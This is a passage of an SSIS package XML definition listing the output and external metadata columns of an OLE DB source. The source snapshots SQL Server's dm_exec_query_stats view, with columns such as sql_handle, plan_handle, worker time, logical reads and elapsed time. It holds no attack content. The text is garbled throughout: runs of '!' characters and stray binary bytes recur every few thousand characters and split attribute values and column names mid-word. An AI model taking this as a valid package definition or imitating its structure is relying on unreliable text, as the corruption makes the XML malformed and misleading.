truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[statement_start_offset]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[statement_start_offset]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[statement_start_offset]" name="statement_start_offset" sortKeyPosition="3" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[statement_end_offset]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[statement_end_offset]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[statement_end_offset]" name="statement_end_offset" sortKeyPosition="4" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[plan_generation_num]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[plan_generation_num]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[plan_generation_num]" name="plan_g	!!!!!!!!!!!!!!!!!!!!!!!!`;9Hveneration_num" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[plan_handle]" dataType="bytes" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[plan_handle]" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[plan_handle]" name="plan_handle" sortKeyPosition="2" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[creation_time]" dataType="dbTimeStamp" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[creation_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[creation_time]" name="creation_time" sortKeyPosition="5" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[last_execution_time]" dataType="dbTimeStamp" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[last_execution_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[last_execution_time]" name="last_execution_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[execution_count]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[execution_count]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[execution_count]" name="execution_count" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_worker_time]" dataType="i8" errorOrTruncationOperation	!!!!!!!!!!!!!!!!!!!!!!!!`;<յHv="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[total_worker_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_worker_time]" name="total_worker_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_worker_time]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[min_worker_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_worker_time]" name="min_worker_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_worker_time]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[max_worker_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_worker_time]" name="max_worker_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_physical_reads]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[total_physical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_physical_reads]" name="total_physical_reads" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_physical_reads]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[min_physical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and que	!!!!!!!!!!!!!!!!!!!!!!!!`;	T1Hvry plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_physical_reads]" name="min_physical_reads" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_physical_reads]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[max_physical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_physical_reads]" name="max_physical_reads" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_logical_writes]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[total_logical_writes]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_logical_writes]" name="total_logical_writes" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_logical_writes]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[min_logical_writes]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_logical_writes]" name="min_logical_writes" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_logical_writes]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[max_logical_writes]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_logical_writes]" name="max_logical_writes" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interes	!!!!!!!!!!!!!!!!!!!!!!!!`;
FHvting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_logical_reads]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[total_logical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_logical_reads]" name="total_logical_reads" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_logical_reads]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[min_logical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_logical_reads]" name="min_logical_reads" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_logical_reads]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[max_logical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_logical_reads]" name="max_logical_reads" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_clr_time]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[total_clr_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_clr_time]" name="total_clr_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_clr_time]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current 	!!!!!!!!!!!!!!!!!!!!!!!!`;~kHvsnapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[min_clr_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_clr_time]" name="min_clr_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_clr_time]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[max_clr_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_clr_time]" name="max_clr_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_elapsed_time]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[total_elapsed_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_elapsed_time]" name="total_elapsed_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_elapsed_time]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[min_elapsed_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_elapsed_time]" name="min_elapsed_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_elapsed_time]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[max_elapsed_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_elapsed_time]" name="max_elapsed_time" truncationRowDisposition="FailComponent"/><outputColumn 	!!!!!!!!!!!!!!!!!!!!!!!!`;)0HvrefId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[collection_time]" dataType="dbTimeStamp" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[collection_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[collection_time]" name="collection_time" truncationRowDisposition="FailComponent"/></outputColumns><externalMetadataColumns isUsed="True"><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[sql_handle]" dataType="bytes" length="64" name="sql_handle"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[statement_start_offset]" dataType="i4" name="statement_start_offset"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[statement_end_offset]" dataType="i4" name="statement_end_offset"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[plan_generation_num]" dataType="i8" name="plan_generation_num"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[plan_handle]" dataType="bytes" length="64" name="plan_handle"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[creation_time]" dataType="dbTimeStamp" name="creation_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[last_execution_time]" dataType="dbTimeStamp" name="last_execution_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[execution_count]" dataType="i8" name="execution_count"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[total_worker_time]" dataType="i8" name="total_worker_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[min_worker_tim	!!!!!!!!!!!!!!!!!!!!!!!!`;-7OHve]" dataType="i8" name="min_worker_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[max_worker_time]" dataType="i8" name="max_worker_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[total_physical_reads]" dataType="i8" name="total_physical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[min_physical_reads]" dataType="i8" name="min_physical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[max_physical_reads]" dataType="i8" name="max_physical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[total_logical_writes]" dataType="i8" name="total_logical_writes"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[min_logical_writes]" dataType="i8" name="min_logical_writes"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[max_logical_writes]" dataType="i8" name="max_logical_writes"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[total_logical_reads]" dataType="i8" name="total_logical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[min_logical_reads]" dataType="i8" name="min_logical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[max_logical_reads]" dataType="i8" name="max_logical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[total_clr_time]" dataType="i8" name="total_clr_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[min_clr_time]" dataType="i8" name="min_clr_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[max_clr_time]" dataType="i8" n	!!!!!!!!!!!!!!!!!!!!!!!!`;xRHvame="max_clr_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[total_elapsed_time]" dataType="i8" name="total_elapsed_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[min_elapsed_time]" dataType="i8" name="min_elapsed_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[max_elapsed_time]" dataType="i8" name="max_elapsed_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[collection_time]" dataType="dbTimeStamp" name="collection_time"/></externalMetadataColumns></output><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output]" isErrorOut="true" name="OLE DB Source Error Output"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[sql_handle]" dataType="bytes" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[sql_handle]" name="sql_handle"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[statement_start_offset]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[statement_start_offset]" name="statement_start_offset"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[statement_end_offset]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[statement_end_offset]" name="statement_end_offset"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[plan_generation_num]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Error Output].Columns[plan_generation_num]" name="plan_generation_num"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting 